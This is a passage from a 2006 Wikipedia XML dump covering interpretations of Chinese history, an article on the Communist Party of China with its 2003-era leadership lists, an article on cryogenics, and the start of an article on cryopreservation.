these stages with a particular era in Chinese history as well as making some subdivisions.  

* slave society - [[Xia dynasty|Xia]] to [[Shang dynasty|Shang]]
* feudal society - decentralized feudalism - [[Zhou dynasty|Zhou]] to [[Sui dynasty|Sui]]
* feudal society - bureaucratic feudalism - [[Tang dynasty|Tang]] to [[Opium War]]
* feudal society - semicolonial era - Opium War to end of [[Qing dynasty]]
* capitalist society - [[History of the Republic of China|Republican era]]
* socialist society - [[People's Republic of China|PRC]] [[1949]] to ???
* socialist society - primary stage of socialism - [[1978]] to 2050 (?)
* world communist society - ?

Because of the strength of the [[Communist Party of China]] and the importance of the Marxist interpretation of history in legitimizing its rule, it is difficult for historians within the PRC to actively argue in favor of non-Marxist and anti-Marxist interpretations of history.  However, this political restriction is less confining as it may first appear in that the Marxist historical framework is surprisingly flexible, and a rather simple matter to modify an alternative historical theory to use language that at least does not challenge the Marxist interpretation of history.

There are several problems associated Marxist interpretation.  First, slavery existed throughout China's history and has never been the primary mode of production.  While the [[Zhou dynasty|Zhou]] can be labelled as [[feudalism|feudal]], others were centralized states.  To account for the discrepancy, Chinese Marxists invented the term &quot;bureaucratic feudalism&quot; which is an oxymoron.  The placement of the Tang as the beginning of the bureaucratic phase rests largely on the [[imperial examination]] system which finally overcame the [[nine-rank system]]; prior to this both systems were in use.  Some [[World systems theory|World-systems analysts]] contend capitalism first arose in [[Song dynasty]] China by following [[Kondratiev waves]] to their source.

Recently, the PRC has adopted an extreme antiquarian chronology which extends Chinese statehood as far back as possible.  The still speculative [[Xia dynasty]] and the almost certainly mythical [[Sanhuangwudi]] are accepted as fact by the official view of history.

=== Ethnic Inclusiveness ===

Also sponsored by the PRC is the view that Chinese history should include all of China's ethnic groups past and present ([[Zhonghua Minzu]]), not just the history of the [[Han Chinese]].  China (including its vassals/tributaries) is viewed as a coherent state formed since [[time immemorial]] and exists as one legal entity even in periods of political disunity.  &quot;Chinese&quot; is viewed as all subjects and participants of that state regardless of ethnicity.

The benefits of this theory shows the contributions of non-Han to Chinese history.  Once &quot;foreign&quot; dynasties like the Mongol [[Yuan dynasty|Yuan]] and the Manchu [[Qing dynasty|Qing]] can be appreciated as part of the Chinese tapestry.  This would allegedly help reduce the alienation of ethnic minorities living in China.

This theory has also led to criticism and international disputes.  It was accused as a smokescreen for China's hold on [[Tibet]] and claims on [[Taiwan]].  [[Mongolia]] and [[Vietnam]] are worried that it will be used against them in the future since they could be labeled as &quot;Chinese&quot; under the theory.  Korean historians dispute the labelling of ethnic Korean archaeological sites in China as Chinese. It has also been accused of causing inaccuracies such as &quot;Genghis Khan's Chinese army&quot;.

=== Anti-Imperialist Narratives ===

Closely related are anti-imperialist narratives.  While some
anti-imperialist narratives notably those of historians 
within the People's Republic of China as well as Western Marxist histories incorporate anti-imperialist narratives in their histories, many anti-imperialist narratives are non-Marxist or as in the case of the [[Kuomintang]] in the [[1960s]], actively anti-Marxist.

=== Modernist Interpretations of Chinese history ===

This view of Chinese history sees Chinese society in the [[20th century]] as a traditional society seeking to become modern, usually with the implicit
assumption that Western society is the definition of modern society.

This view of Chinese history has its roots with British views of the orient 
of the early [[19th century]].  In this viewpoint, the societies of India, China,
and the Middle East were societies with glorious pasts but that they have
become trapped in a static past (''see'' [[Orientalism]]).  This view provided an implicit justification
of British colonialism with Britain assuming the &quot;white man's burden&quot; of
breaking these societies from their static past and bringing them into the
modern world.

By the mid 20th century, it was increasingly clear to historians that the
notion of &quot;changeless China&quot; was untenable.  A new concept, popularized by
[[John Fairbank]] was the notion of &quot;change within tradition&quot; which argued
that although China did change in the pre-modern period but that this change
existed within certain cultural traditions.

There are a number of criticisms of the modernist critique.  One centers
on the definition of &quot;traditional society.&quot;  The criticism is that the
idea of &quot;traditional society&quot; is simply a catch all term for early non-Western  
society and implies that all such societies are similar.  To use an analogy,
one could classify all animals into &quot;fish&quot; and &quot;non-fish&quot; but that classification would be hardly useful, and would imply that spiders are similar to mountain goats.

The notion of &quot;change within tradition&quot; also been subject to criticism.  The criticism is that the statement that &quot;China has not changed fundamentally&quot; is tautological, that one looks for things that have not changed and then define those as fundamental.  The trouble with doing this is that when one can do
this with anything that has lasted for an extended period of time resulting
in absurd statements such as &quot;England has not changed fundamentally in the 
past thousand years because the institution of the monarchy has existed
for this long.&quot;

=== Hydraulic Theory ===
Derived from Marx and [[Max Weber]], [[Karl August Wittfogel]] argued that bureaucracy arose to manage irrigation systems.  Despotism was needed to force the people into building canals, dikes, and waterways to increase agriculture.  [[Yu the Great]], one of China's legendary founders, is mostly known for his control of the flood.  The [[hydraulic empire]] produces wealth from its stability and while dynasties may change, the structure remains intact until destroyed by modern powers.

Critics of Wittfogel's oriental despotism theory point out that water management was not a high priority when compared to taxes, rituals, and fighting off bandits.  The theory also has a strong [[orientalist]] bent which regards all Asian states as generally the same.

=== Convergence Theory ===

Convergence theory is a broad term which includes a viewpoint popular among non-Marxist Chinese intellectuals of the mid 20th century.  This includes 
[[Hu Shih]] and [[Ray Huang]]'s involution theory.  This view was that the past 150
years was a period in which Chinese and Western civilization were in the
process of convergence into a world civilization.  

This view is heavily influenced by modernization theory, but is also strongly influenced by indigenous sources such as the notion of &quot;shijie datong&quot; or
the Great Unity.  It has tended to be less popular among more recent historians.  Among Western historians, it conflicts with the postmodern impulse which is skeptical of great narratives.  Among Chinese historians, convergence theory is in conflict with Chinese nationalism which includes a strong element of China as being unique.

=== European conflict interpretations of Chinese history ===

European conflict interpretations focus on interaction with Europe as the 
driving force behind recent Chinese history.  There are two variants, one focuses on Europe as the driving force behind China's quest for modernity, the other focuses on the effects of European colonialism.

One criticism of this view is that it ignores historical forces that do not involve Europe, such as indigenous economic forces.  One example of a blind
spot which is provided by this viewpoint is the influence of central Asian
policies on interactions with Europe in the [[Qing dynasty]].

=== Post-modern interpretations of Chinese history ===

Post-modern interpretations of Chinese history tend to reject the grand narratives of
other interpretations of history.  Instead of seeking a grand pattern of history, post-modern interpretations tend to focus on a small subset of Chinese history.

In attention rather than focusing on the political elites of China, post-modern historians look also at the daily lives of ordinary people.

== Issues in the study of Chinese history == 

=== Recent trends in Chinese historical scholarship ===

The late 20th century and early [[21st century]] has seen a
large amount of studies of Chinese
history, quite a bit of it 'revisionist' in that it seeks to challenge traditional paradigms.  The field is rapidly evolving with much new scholarship.  Much of this new scholarship comes from the realization that there is much about Chinese history that is unknown or controversial.  To give one such controversy, it is an active topic of discussion whether the typical Chinese peasant in [[1900]] was seeing his life improve or decline.  In addition to the realization that there are major gaps in our knowledge of Chinese history is the equal realization that there are tremendous amounts of primary source material that has not yet been analyzed.

Recent Western scholarship of China has been heavily influenced by [[postmodernism]].

For example, current scholars of China tend to question the question, and look heavily at the assumptions within a question before attempting to answer it.  For example, one begins to answer the question &quot;Why did China not develop modern science and capitalism?&quot; by asking the question &quot;Why are we assuming that what China did develop was not modern science and capitalism?&quot;  This then brings up the question of what are the essential characteristics of modern science and capitalism, and whether it makes any sense at all to apply European concepts to Chinese history.

One example of the fruitfulness of questioning assumption comes from questioning the assumption that &quot;China was weak in the 19th century&quot; and pointing out the fact that at the time in which China was supposedly weak, it managed to extend its borders to record sizes in [[Central Asia]].  This in turn has caused scholars to be more interested in Chinese policies and actions in Central Asia and has led to the realization that Central Asia affected Chinese policies toward Europe in a deep way.

Another trend in Western scholarship of China has been to move away from &quot;grand theories&quot; of history toward understanding of a narrow part of China.  A survey of papers on Chinese history in the early 21st century would reveal relatively little attempt to fit Chinese history into a master paradigm of history as was common in the [[1950s]].  Instead, early 21st century papers on Chinese history tend to be empirical studies of a small part of China which aim to reach a deep understanding of the social, political, or economic dynamics of a small region such as a province or a village with little effort made to create a master narrative
which would be generalizable to all of China.

Also, such current scholars attempt to assess source material more critically.  For example, for a long period it was assumed that Imperial China had no system of [[Civil law (private law)|civil law]] because the law codes did not have explicit provisions for civil lawsuits.  However, more recent studies which use the records of civil magistrates suggest that China did in fact have a very well developed system of civil law in which provisions of the criminal code were interpreted to allow civil causes of action.  Another example of the more critical view taken toward source material has been anti-merchant statements made by intellectuals in the mid-Qing dynasty.  Traditionally these have been interpreted as examples of government hostility toward commerce, but more result studies which use source material such as magistrate diaries and genealogical records, suggest that merchants in fact had a powerful impact on government policies and that the division between the world of the merchant and the world of the official was far more porous than traditionally believed.  In fact there is a growing consensus that anti-merchant statements in the mid-Qing dynasty should be taken as evidence of a substantial erosion in the power and freedom of action of officials. 

Finally, current scholars have taken an increasing interest in the lives of common people and to tap documentary and historical evidence that was previously not analyzed.  Examples of these records include a large mass of governmental and family archives which have not yet been processes, economic records such as census records, price records, land surveys, and tax records.  In addition there are large numbers of cultural artifacts such as vernacular novels, how-to books, and children's books, which are in the process of being analyzed for clues as to how the average Chinese (if there was such as thing) lived.

=== Periodization ===

:[[Early Imperial China]]
:[[Mid-Imperial China]]
:[[Late Imperial China]]

[[Category:History of China]]
[[Category:Historiography]]</text>
    </revision>
  </page>
  <page>
    <title>Communist Party of China</title>
    <id>7175</id>
    <revision>
      <id>41939657</id>
      <timestamp>2006-03-02T19:39:54Z</timestamp>
      <contributor>
        <username>Kikodawgzz</username>
        <id>671228</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Politics of the People's Republic of China}}
{{clearright}}
The '''Communist Party of China (CPC)''' or '''Chinese Communist Party (CCP)''' ({{zh-stp |s=中国共产党 |t=中國共産黨 |p=Zhōngguó Gòngchǎndǎng}}) is the ruling [[political party]] of the [[People's Republic of China]]. The party was founded in [[1921]], and fought the [[Kuomintang]] during the [[Chinese Civil War]]. With more than 63 million members, the CPC is the largest political party in the world. 

From [[The Sixties]] until the death of its principal leader, [[Mao Tse-Tung]], the CPC was the main inspiration for the worldwide [[communism|communist]] [[social movement]]. It developed policies and ideas that came to be known as [[Maoism]], and during the 1960s and 1970s it represented a powerful branch of communism that existed in opposition to the [[Soviet Union]], the policies of which it considered &quot;[[revisionism|revisionist]]&quot;. Following the death of Mao in 1976, however, the CPC moved towards [[Socialism with Chinese characteristics]]; see [[Chinese economic reform]]. Today, the CPC is generally considered to have lost the influence it had a generation ago. Its current policies are fiercely rejected as [[capitalist]] by original [[Maoist]]s and by adherents of other brands of [[Chinese Neo-Leftism]].

The Party supports a [[single-party state]]. Since the 1990s, as its commitment to [[Marxism|Marxist]] ideology has appeared to wane, the party has begun to increasingly invoke [[Chinese nationalism]] as a legitimizing principle, including the use of the [[cult of personality]] around [[Mao Zedong]], which been shifted to assist in the proliferation of nationalist sentiment as opposed to the [[socialist]] construction for which it was originally created.  This shift in policy has led to strong opposition not only from [[Maoist]] opponents within China, but also to independence movements such as [[Taiwan independence]] and [[International Tibet Independence Movement|Tibetan independence]]. Since 2003, however, the invocation of Mao as a national unifying force has led to a warming of relations with the CCP's former enemy the [[Kuomintang]].

Today, [[tertiary education|college-educated people]] within the People's Republic of China are said to be more likely to join because of economic benefits from membership [http://muse.jhu.edu/journals/china/v002/2.2walder.html]. In periods of relative liberalization, the influence of people and organizations outside the formal party structure has tended to increase.

==Brief History==
[[Image:Flagge der KP Chinas.png|150px|right|thumb|Communist Party of China flag]]
The CPC was initially founded by [[Chen Duxiu]] and [[Li Dazhao]] in [[Shanghai]] in [[1921]] as a study society and an informal network. There were informal groups in China in 1920, and also overseas, but the official beginning was the 1st Congress in June [[1921]], attended by 12 men.  [[Mao Zedong]] was present as one of two delegates from a Hunan Communist group, which had maybe 10 members out of 53 for all China.  

Under the guidance of the [[Soviet Union]], the party was reorganized along Leninist lines in 1923, while party members were encouraged to join the [[Kuomintang]] as individual members in preparation for the [[Northern Expedition]].

The party was very small at first, but grew intermittently through the [[Chinese Civil War]] and the [[Second Sino-Japanese War]] (1937–1945).  Maybe 4 members in 5 were killed in 1927 when the alliance with the [[Kuomintang]] broke down.  [[Mao Zedong]] achieved success using [[Mobile Warfare]], which was rejected by the leadership and then resumed on the famous [[Long March]].  The outside world first got a clear view of the Chinese Communists through [[Edgar Snow]]'s [[Red Star Over China]].

After 1945, the civil war resumed and the [[Kuomintang]] collapsed, marking the [[Chinese Revolution]] whence Mao proclaimed the [[People's Republic of China]] in [[Beijing]] in October [[1949]].

==Role within the People's Republic of China==
The CPC is one of the three centers of power within the [[People's Republic of China]], the other two being the state apparatus and the [[People's Liberation Army]].

The relationship between party and state is somewhat different than that of the [[Communist Party of the Soviet Union]], in which the party controlled the state.  In the current PRC structure, power derives from the state position, but key state positions are invariably held by members of the party and the party through its organization department makes crucial decisions on who occupies what position.  However, in contrast to the Soviet situation where the party had extra-legal authority, since the early-1990's, it is has been established that the party is subject to [[rule of law]] and is therefore subject to the authority of the state and the [[Constitution of the People's Republic of China]].

==Organization==

The party's organizational structure was destroyed during the [[Cultural Revolution]] launched by [[Mao Zedong]] and rebuilt afterwards by [[Deng Xiaoping]], who subsequently initiated &quot;[[Socialism with Chinese Characteristics]]&quot; and brought all state apparatuses back under the control of the CPC.

Theoretically, the party's highest body is the [[National Congress of the Communist Party of China]], which meets at least once every 5 years. The primary organs of power in the Communist Party which are listed in the [[Constitution of the Communist Party of China|party constitution]] include:

* The [[Politburo Standing Committee of the Communist Party of China|Politburo Standing Committee]], which currently consists of nine members;
* The [[Politburo of the Communist Party of China|Politburo]], consisting of 22 full members (including the members of the Politburo Standing Committee);
* The [[Secretariat of the Communist Party of China|Secretariat]], the principal administrative mechanism of the CPC, headed by the [[General Secretary of the Communist Party of China]];
* The [[Central Military Commission of the Communist Party of China|Central Military Commission]] (a parallel organization of the government institution of the same name);
* The [[Discipline Inspection Commission of the Communist Party of China|Discipline Inspection Commission]], which is charged with rooting out [[Political corruption|corruption]] and malfeasance among party cadres.

Other central organizations include
* The International Liaison Department
* The [[United Front]] Work Department
* The Organization Department
* The [[Propaganda Department]]

Also important are &quot;[[leading small group]]s,&quot; which are committees of high ranking party members within state agencies.  These can be extremely powerful, particularly in the area of [[Foreign relations of China|foreign policy]].

Every five years, the Communist Party of China holds a ''National Congress''.  Formally, the Congress serves two functions: to approve changes to the Party constitution and to elect a [[Central Committee of the Communist Party of China|Central Committee]], about 300 strong.  The Central Committee in turn elects the [[Politburo of the Communist Party of China|Politburo]].  In practice, positions within the Central Committee and Politburo are determined before a Party Congress, and the main purpose of the Congress is to announce the party policies and vision for the direction of China in the following few years.

The party's central locus of power is the Politburo Standing Committee.  The process for selecting Standing Committee members, as well as Politburo members, occurs behind the scenes in a process parallel to the National Congress.  The new power structure is announced obliquely through the positioning of portraits in the ''[[People's Daily]]'', the official newspaper of the Party.  The number of Standing Committee members varies and has tended to increase over time. The Committee was expanded to nine at the 16th Party National Congress in 2002.

There are two other key organs of political power in the People's Republic of China: the formal government and the [[People's Liberation Army]].

There are, in addition to decision-making roles, advisory committees, including the [[People's Political Consultative Conference]].  During the 1980s and 1990s there was a  [[Central Advisory Commission]] established by [[Deng Xiaoping]] which consisted of senior retired leaders, but with their passing this has been abolished.

==Criticism and support==
There is a variety of opinions about the Communist Party of China, and opinions about the CPC often create unexpected political alliances and divisions.  For example, many [[chief executive officer]]s of Western companies tend to have favorable impressions of the CPC, while many revolutionary [[Maoism|Maoists]] and other [[Marxism|Marxists]] have strongly negative opinions. A few [[Trotskyists]] argue that the party lost its Marxist credentials in the 1920s and adhered to a [[state capitalist]] political doctrine. Opinions about the CPC also create very strong divisions among groups normally ideologically united such as [[conservatism|conservatives]] in the [[United States]].

Many of the unexpected opinions about the CPC result from its rare combination of attributes as a party formally based on [[Marxism]] which has overseen a dynamic [[market economy]], yet maintains an authoritarian political system.

Supporters of [[Tibetan nationalism]], the [[Republic of China|Republic of China on Taiwan]], and [[Taiwan independence]], [[Neoconservatism (United States)|neoconservative]]s in the [[United States]] and [[Japan]], along with most [[left-wing politics|left-wing]] forces in those same countries, are among the groups which have opposed the CPC government as a [[single-party state]] regime.  

In addition, American neoconservatives sometimes argue that the Communist Party of China is a grave threat to peace because of its authoritarian nature, its adherence to a military build up, and threats made to Taiwan.

Some of the opponents of the Party within the [[Chinese democracy movement]] have tended not to argue that a strong Chinese state is inherently bad, but rather that the Communist leadership is corrupt. [[Chinese Neo-Leftism]], meanwhile, is a current within China that seeks to &quot;revert China to the [[socialist]] road&quot; -- i.e., to return China to the days after [[Mao]] but before the reforms of [[Deng Xiaoping]] and his successors.

Another school of thought argues that the worst of the abuses took place decades ago, and that the current leadership is not only unconnected with them, but were actually victims of that era. They have also argued that while the modern Communist Party may be flawed, it is comparatively better than previous regimes, with respect to improving the general standard of living, than any other government that has governed China in the past century and can be put in more favorable light against most governments of the [[developing nation]]s.  However, farmers and other rural people have been marginalized, and their standard of living and national influence have been greatly reduced.

Finally, some supporters have been argued that despite its flaws, the Communist Party is better than its alternatives, and that a sudden transition to [[democracy]] would result in the economic and political upheaval that occurred in [[Russia]] in the 1990s, and that by focusing on economic growth, China is setting the stage for a more gradual but more sustainable transition to a more liberal system. This group sees Mainland China as being similar to [[Spain]] in the 1960s, and [[South Korea]] and [[Taiwan]] during the 1970s.

As with the first group, this school of thought brings together some unlikely political allies.  Not only are most members of the Chinese government members of this school of thinking, but it also include business concerns in the United States and pro-[[free trade]] liberals.

==Current members of the Central Committee==

The Members of the [[Politburo Standing Committee of the Communist Party of China]] are (as of 2003):
* [[Hu Jintao]] - [[President of the People's Republic of China]], [[General Secretary of the CPC]].
* [[Wu Bangguo]] - Chairman of the [[Standing Committee of the National People's Congress]]
* [[Wen Jiabao]] - [[Premier of the People's Republic of China|Premier]] of the [[State Council of the People's Republic of China]]
* [[Jia Qinglin]] - Chairman of the [[People's Political Consultative Conference]]
* [[Zeng Qinghong]] - [[Vice President of the People's Republic of China]]
* [[Huang Ju]] - Vice Premier, State Council
* [[Wu Guanzheng]] - Secretary of the Central Commission for Discipline Inspection
* [[Li Changchun]] - no other positions held, known to many as the propaganda chief
* [[Luo Gan]] - Political and Legislative Affairs Committee secretary

Members of the Political Bureau of the CPC Central committee: 

[[Wang Lequan]], [[Wang Zhaoguo]], [[Hui Liangyu]], [[Liu Qi]], [[Liu Yunshan]], [[Li Changchun]], [[Wu Yi]], [[Wu Bangguo]], [[Wu Guanzheng]], [[Zhang Lichang]], [[Zhang Dejiang]], [[Chen Liangyu]], [[Luo Gan]], [[Zhou Yongkang]], [[Hu Jintao]], [[Yu Zhengsheng]], [[He Guoqiang]], [[Jia Qinglin]], [[Guo Boxiong]], [[Huang Ju]], [[Cao Gangchuan]], [[Zeng Qinghong]], [[Zeng Peiyan]], [[Wen Jiabao]]. 

Alternate member of the Political Bureau of the CPC Central Committee: [[Wang Gang]] 

Members of Secretariat of the CPC Central Committee: Zeng Qinghong, [[Liu Yunshan]], [[Zhou Yongkang]], He Guoqiang, [[Wang Gang]], [[Xu Caihou]], [[He Yong]].

==List of leaders of the Communist Party of China==
===List of  [[Chairman of the Communist Party of China|Chairmen of the Communist Party of China]]=== 
 
*[[Chen Duxiu]] (1922-1925) 
*[[Mao Zedong]] (1945-1976)
* [[Hua Guofeng]] (1976-1981)
*[[Hu Yaobang]] (1981-1982)

:''The list ends here because the position was abolished in 1982. Since 1980, the General Secretary has been the most powerful position in the party.''

===List of [[General Secretary of the Communist Party of China|General Secretaries of the CPC Central Committee]]===
* [[Chen Duxiu]] (1921-1922; 1925-1928)
* [[Xiang Zhongfa]] (1928-1931)
* [[Li Lisan]], acting (1929-1930)
* [[Wang Ming]], acting (1931)
* [[Bo Gu]], aka Qin Bangxian (1932-1935)
* [[Zhang Wentian]], aka Luo Fu (1935-1943)
* [[Deng Xiaoping]] (1956-1966)

* [[Hu Yaobang]] (1980-1987)
* [[Zhao Ziyang]] (1987-1989)
* [[Jiang Zemin]] (1989-2002)
* [[Hu Jintao]] (since 2002)

:''Prior to the abolition of the post of Chairman in 1982, the General Secretary served more of a bureaucratic role subordinate to the Chairman.''

===CCP Renunciations and Controversy===

[[The Epoch Times]] claims that over 7.8 million CCP members have &quot;resigned&quot; from the party, due to the publication of &quot;Nine Commentaries on the CCP&quot; and its subsequent call to CCP members to &quot;erase the beastly brand&quot;. This number is widely disputed, as anyone regardless of Chinese citizenship or CCP membership can resign more than once, and has been accused by some to be an online petition rather than serious political activity. Submissions include anonymous and unverifiable online signatures and public declarations for people inside mainland China unable to access the online website due to censorship. The count actually includes any renunciations of past or current association with any CCP-affiliated organization. At their Chinese language renunciation website [http://tuidang.epochtimes.com], it was stated that 'the evils of the Communist Cult will be punished by God at Judgment Day', and called members of the CCP to burn Communist memorabilia. However such renunciations are not recognised as valid by the CCP, as they are not conducted through the proper channels via the party.

The Epoch Times has also reported severe unrest in China as a direct result of the publication of their &quot;Commentaries&quot;, but no major news outlet has verified the paper's claims concerning the effects of the &quot;Commentaries&quot;. The extent of the paper's effect on Chinese politics is unclear, as no major CCP official in either the central or regional governments has ever resigned because of the &quot;Commentaries&quot;.

== See also ==
* [[Chinese Anarchism]]
* [[Communist Party]]
* [[List of Communist Parties]]

==External links==
{{commons|Communist Party of China}}
*[http://english.peopledaily.com.cn Official newspaper]
*[http://english.gov.cn/ Official website]
*[http://www.etext.org/Politics/MIM/classics/mao/index.html#CPC Mao-era Communist Party of China books and articles in English]
*[http://ninecommentaries.com/ Nine Commentaries on the Chinese Communist Party] (Falun Gong sponsored)

[[Category:Communist Party of China]] 
[[Category:Mainland China]]
[[Category:People's Republic of China]]
[[Category:Political parties in the People's Republic of China]]
[[Category:Single-party system parties]]
[[Category:Political parties in China]]
[[Category:1921 establishments]]

[[zh-min-nan:Tiong-kok Kiōng-sán-tóng]]
[[de:Kommunistische Partei Chinas]]
[[es:Partido Comunista de China]]
[[fa:حزب کمونیست چین]]
[[fr:Parti communiste chinois]]
[[gl:Partido Comunista de China]]
[[ko:중국공산당]]
[[id:Partai Komunis Tiongkok]]
[[it:Partito Comunista Cinese]]
[[nl:Communistische Partij van China]]
[[ja:中国共産党]]
[[no:Det kinesiske kommunistparti]]
[[pl:Komunistyczna Partia Chin]]
[[pt:Partido Comunista da China]]
[[ru:Коммунистическая партия Китая]]
[[fi:Kiinan kommunistinen puolue]]
[[sv:Kinas kommunistiska parti]]
[[zh:中国共产党]]</text>
    </revision>
  </page>
  <page>
    <title>Cryogenics</title>
    <id>7176</id>
    <revision>
      <id>41151613</id>
      <timestamp>2006-02-25T10:39:28Z</timestamp>
      <contributor>
        <ip>59.92.35.60</ip>
      </contributor>
      <comment>/* Definitions/Distinctions */</comment>
      <text xml:space="preserve">'''Cryogenics''' is a branch of [[physics]] (or [[engineering]]) that studies very low [[temperatures]] or the production thereof. 

== Definitions/Distinctions ==
;Cryogenics:Cryogenics is the study of how to get to low temperatures and of how materials behave when they get there. Besides the familiar temperature scales of Farenheit and Celsius (Centigrade), cryogenicists use other temperature scales, the Kelvin and Rankine temperature scales. 
The branch of [[physics]] (or [[engineering]]) that studies very low [[temperatures]] (or the production of very low [[temperatures]]). People often mistakenly say &quot;'''cryogenics'''&quot; when they really mean &quot;'''cryonics'''&quot;. 
;[[Cryobiology]]: The branch of [[biology]] that studies the effects of low [[temperature]]s on [[organism]]s (most often for the purpose of achieving [[cryopreservation]]). 
;[[Cryonics]]: Cryonics is the nascent [[technology]] of [[cryopreservation|cryopreserving]] humans and animals with the intention of future revival. Unlike cryogenics and cryobiology, cryonics is not an established science and is viewed with skepticism by most scientists and doctors today (although there are many scientists involved in cryonics{{ref|Note1}}).  As a [[technology]], cryonics seeks to apply the results of many [[science]]s, including '''cryobiology''', [[cryogenics]], [[rheology]], [[emergency medicine]], etc.

== Etymology ==
The word '''''cryogenics''''' literally means &quot;the production of icy cold&quot;; however the term is used today as a [[synonym]] for the low-temperature state. It is not well-defined at what point on the temperature scale [[refrigeration]] ends and cryogenics begins. The workers at the [[National Institute of Standards and Technology]] at [[Boulder, Colorado]] have chosen to consider the field of cryogenics as that involving temperatures below –150 [[Celsius|&amp;deg;C]] (123 [[Kelvin|K]]). This is a logical dividing line, since the normal [[boiling point|boiling points]] of the so-called permanent [[gases]] (such as [[helium]], [[hydrogen]], [[neon]], [[nitrogen]], [[oxygen]], and normal [[Earth's atmosphere|air]]) lie below -150 °C while the [[Freon]] refrigerants, [[hydrogen sulfide]], and other common refrigerants have boiling points above -150 °C. 

Recent research regarding superconductivity at low temperatures has been called [[cryoelectronics]], and the utilization of these sciences is called [[cryotronics]]. 

== Industrial Application ==
[[Liquid air|Liquefied gas]]es, such as liquid nitrogen and liquid helium, are used in many cryogenic applications. Liquid nitrogen is the most commonly used element in cryogenics and is legally purchaseable around the world. Liquid helium is also commonly used and allows for the lowest attainable temperatures to be reached

These gases are held in either special containers known as [[Dewar flask]]s, which are generally about six feet tall (1.8 m) and three feet (90 cm) in diameter, or giant tanks in larger commercial operations.  Dewar flasks are named after their inventor, [[James Dewar]], the man who first liquefied [[hydrogen]].  Museums typically display smaller [[vacuum flask]]s fitted in a protective casing. 

=== Cryogenic processing ===
The field of cryogenics advanced during World War II when scientists found that metals frozen to low temperatures showed more resistance to wear.  Based on this theory of [[cryogenic hardening]], the commercial [[cryogenic processor|cryogenic processing]] industry was founded in the sixties (1966 to be exact) by [[Ed Busch]]. With a background in the [[heat treatment|heat treating]] industry, Mr. Busch founded a company in [[Detroit, Michigan|Detroit]] called [[CryoTech]] in 1966 and experimented with the possibility of increasing the life of metal tools to anywhere between 200%-400% of the original life expectancy using [[cryogenic tempering]] instead of heat treating. The theory was based on how heat-treating metal works (the temperatures are lowered to room temperature from a high degree causing certain strength increases in the molecular structure to occur) and supposed that continuing the descent would allow for further strength increases. Using liquid nitrogen, CryoTech formulated the first early version of the [[cryogenic processor]]. Unfortunately for the newly-born industry, the results were unstable, as components sometimes experienced thermal shock when they were cooled too fast. Some components in early tests even shattered because of the ultra-low temperatures. In the late twentieth century, the field improved significantly with the rise of applied research, which coupled [[computer]]s to the [[cryogenic processor]] in order to create more stable results.

=== Fuels ===
Another use of cryogenics is cryogenic fuels. Cryogenic fuels, mainly oxygen and hydrogen, have been used as rocket fuels. For example, [[NASA]]'s workhorse [[space shuttle]] uses cryogenic oxygen and hydrogen fuels as its primary means of getting into [[orbit]], as did all of the rockets built for the [[Soviet space program]] by [[Sergei Korolev]] (this was a bone of contention between him and rival engine designer [[Valentin Glushko]], who felt that cryogenic fuels were impractical for large-scale rockets such as the ill-fated [[N-1 rocket]] spacecraft.

Cryogens, like liquid [[nitrogen]], are further used for specialty chilling and freezing applications.  Some chemical reactions, like those used to produce the active ingredients for the popular [[statin]] drugs, must occur at low temperatures of approximately -100 [[Celsius|&amp;deg;C]]. Special cryogenic [[chemical reactor]]s are used to remove reaction heat and provide a low temperature environment.  The freezing of foods and biotechnology products, like [[vaccine]]s, requires nitrogen in blast freezing or immersion freezing systems.  

Russian aircraft manufacturer [[Tupolev]] is currently researching a version of its popular design [[Tu-154]] with a cryogenic fuel system, known as the [[TU-155]]. The plane uses a fuel referred to as  [[liquefied natural gas]] or LNG, and made its first flight in 1989.

== Detectors ==
Cryogenic temperatures, usually well below 77 [[kelvin]]s (&amp;minus;196 °C) are required to operate  [[cryogenic_detectors| cryogenic detectors]].

==Notes==
*1.{{note|Note1}} [http://www.cryoletter.org/ Scientists' Open Letter on Cryonics]

== See also ==
* [[300 Below]]
* [[Absolute zero]]
* [[Coldest temperature achieved on earth]]
* [[Cryocoolers]]
* [[Cryogenic processor]]
* [[Cryogenic tempering]]
* [[Cryobiology]]
* [[Cryonics]]
* [[List of publications in physics#Cryogenics|Important publications in cryogenics]]
* [[Quantum hydrodynamics]], [[Superfluidity]] or [[Superconductivity]]

== External links ==
*[http://www.benbest.com/cryonics/CryoFAQ.html Cryonics FAQ]
*[http://www.tupolev.ru/English/Show.asp?SectionID=82 Tupolev's pages regarding Cryogenic airliners]
[http://www.alcor.org A Cryonics Page, in relation]
[[Category:Cryogenics| ]]
[[Category:Cooling technology]]

[[de:Kryotechnik]]
[[es:Criogenia]]
[[fa:سرماشناسی]]
[[is:Lághitafræði]]
[[nl:Cryogeen]]
[[ja:低温物理学]]
[[pt:Criogenia]]
[[zh:低温物理学]]</text>
    </revision>
  </page>
  <page>
    <title>Cryopreservation</title>
    <id>7177</id>
    <revision>
      <id>39313227</id>
      <timestamp>2006-02-12T07:18:17Z</timestamp>
      <contributor>
        <username>Benbest</username>
        <id>167797</id>
      </contributor>
      <minor />
      <comment>[[cryobiology]] is not [[cryogenics]], correct   the miscateorizations</comment>
      <text xml:space="preserve">[[Image:Cryopreservation.jpg|thumb|right|300px|Cryopreservation of plant shoots.]]
'''Cryopreservation''', is a process where [[cell (biology)|cell]]s or whole [[Biological tissue|tissue]]s are preserved by cooling to low sub-zero [[temperature]]s, such as (typically) -80°C or -196°C (the boiling point of liquid [[nitrogen]]).  At these low temperatures, any biological activity, including the biochemical reactions that would lead to [[cell death]] is effectively stopped.  However, when [[vitrification]] solutions are not used, the [[cell (biology)|cell]]s being preserved are often damaged due to [[freezing]] during the approach to low temperatures or warming to room temperature.

Phenomena which can cause damage to cells during cryopreservation are solution effects, [[extracellular]] [[ice]] formation, dehydration and [[intracellular]] ice formation.  Solution effects are caused by concentration of solutes in non-frozen solution during freezing as solutes are excluded from the crystal structure of the ice.  (High [[salt]] concentrations can be very damaging.) When tissues are cooled slowly, water migrates out of [[cell (biology)|cell]]s and ice forms in the extracellular space. Too much extracellular ice can cause mechanical damage due to crushing, and the stresses associated with cellular dehydration can cause damage directly. However, while some [[organism]]s and [[biological tissue|tissue]]s can tolerate some [[extracellular]] ice, any appreciable [[intracellular]] ice is almost always fatal to [[cell (biology)|cell]]s. 

